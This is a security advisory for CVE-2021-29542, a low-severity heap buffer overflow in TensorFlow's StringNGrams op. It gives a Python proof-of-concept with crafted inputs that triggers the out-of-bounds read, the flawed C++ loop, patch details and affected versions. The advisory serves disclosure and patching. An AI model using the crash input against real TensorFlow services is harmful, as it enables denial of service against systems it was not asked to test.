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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRocmgtOXZtcC0yamdn
Heap buffer overflow in `StringNGrams`
Impact
An attacker can cause a heap buffer overflow by passing crafted inputs to tf.raw_ops.StringNGrams
:
import tensorflow as tf
separator = b'\x02\x00'
ngram_widths = [7, 6, 11]
left_pad = b'\x7f\x7f\x7f\x7f\x7f'
right_pad = b'\x7f\x7f\x25\x5d\x53\x74'
pad_width = 50
preserve_short_sequences = True
l = ['', '', '', '', '', '', '', '', '', '', '']
data = tf.constant(l, shape=[11], dtype=tf.string)
l2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 3]
data_splits = tf.constant(l2, shape=[116], dtype=tf.int64)
out = tf.raw_ops.StringNGrams(data=data,
data_splits=data_splits, separator=separator,
ngram_widths=ngram_widths, left_pad=left_pad,
right_pad=right_pad, pad_width=pad_width,
preserve_short_sequences=preserve_short_sequences)
This is because the implementation fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements:
for (int ngram_index = 0; ngram_index < num_ngrams; ++ngram_index) {
int pad_width = get_pad_width(ngram_width);
int left_padding = std::max(0, pad_width - ngram_index);
int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 1)));
int num_tokens = ngram_width - (left_padding + right_padding);
int data_start_index = left_padding > 0 ? 0 : ngram_index - pad_width;
...
tstring* ngram = &output[ngram_index];
ngram->reserve(ngram_size);
for (int n = 0; n < left_padding; ++n) {
ngram->append(left_pad_);
ngram->append(separator_);
}
for (int n = 0; n < num_tokens - 1; ++n) {
ngram->append(data[data_start_index + n]);
ngram->append(separator_);
}
ngram->append(data[data_start_index + num_tokens - 1]); // <<<
for (int n = 0; n < right_padding; ++n) {
ngram->append(separator_);
ngram->append(right_pad_);
}
...
}
If input is such that num_tokens
is 0, then, for data_start_index=0
(when left padding is present), the marked line would result in reading data[-1]
.
Patches
We have patched the issue in GitHub commit ba424dd8f16f7110eea526a8086f1a155f14f22b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Permalink: https://github.com/advisories/GHSA-4hrh-9vmp-2jggJSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRocmgtOXZtcC0yamdn
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: over 3 years ago
Updated: 12 days ago
CVSS Score: 2.5
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Identifiers: GHSA-4hrh-9vmp-2jgg, CVE-2021-29542
References:
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4hrh-9vmp-2jgg
- https://nvd.nist.gov/vuln/detail/CVE-2021-29542
- https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-470.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-668.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-179.yaml
- https://github.com/advisories/GHSA-4hrh-9vmp-2jgg
Blast Radius: 12.2
Affected Packages
pypi:tensorflow-gpu
Dependent packages: 155Dependent repositories: 11,499
Downloads: 430,308 last month
Affected Version Ranges: >= 2.4.0, < 2.4.2, >= 2.3.0, < 2.3.3, >= 2.2.0, < 2.2.3, < 2.1.4
Fixed in: 2.4.2, 2.3.3, 2.2.3, 2.1.4
All affected versions: 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1
All unaffected versions: 2.1.4, 2.2.3, 2.3.3, 2.3.4, 2.4.2, 2.4.3, 2.4.4, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.12.0
pypi:tensorflow-cpu
Dependent packages: 88Dependent repositories: 2,483
Downloads: 948,316 last month
Affected Version Ranges: >= 2.4.0, < 2.4.2, >= 2.3.0, < 2.3.3, >= 2.2.0, < 2.2.3, < 2.1.4
Fixed in: 2.4.2, 2.3.3, 2.2.3, 2.1.4
All affected versions: 1.15.0, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1
All unaffected versions: 2.1.4, 2.2.3, 2.3.3, 2.3.4, 2.4.2, 2.4.3, 2.4.4, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0, 2.12.1, 2.13.0, 2.13.1, 2.14.0, 2.14.1, 2.15.0, 2.15.1, 2.16.1, 2.16.2, 2.17.0, 2.17.1, 2.18.0
pypi:tensorflow
Dependent packages: 2,172Dependent repositories: 73,755
Downloads: 18,843,694 last month
Affected Version Ranges: >= 2.4.0, < 2.4.2, >= 2.3.0, < 2.3.3, >= 2.2.0, < 2.2.3, < 2.1.4
Fixed in: 2.4.2, 2.3.3, 2.2.3, 2.1.4
All affected versions: 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1
All unaffected versions: 2.1.4, 2.2.3, 2.3.3, 2.3.4, 2.4.2, 2.4.3, 2.4.4, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0, 2.12.1, 2.13.0, 2.13.1, 2.14.0, 2.14.1, 2.15.0, 2.15.1, 2.16.1, 2.16.2, 2.17.0, 2.17.1, 2.18.0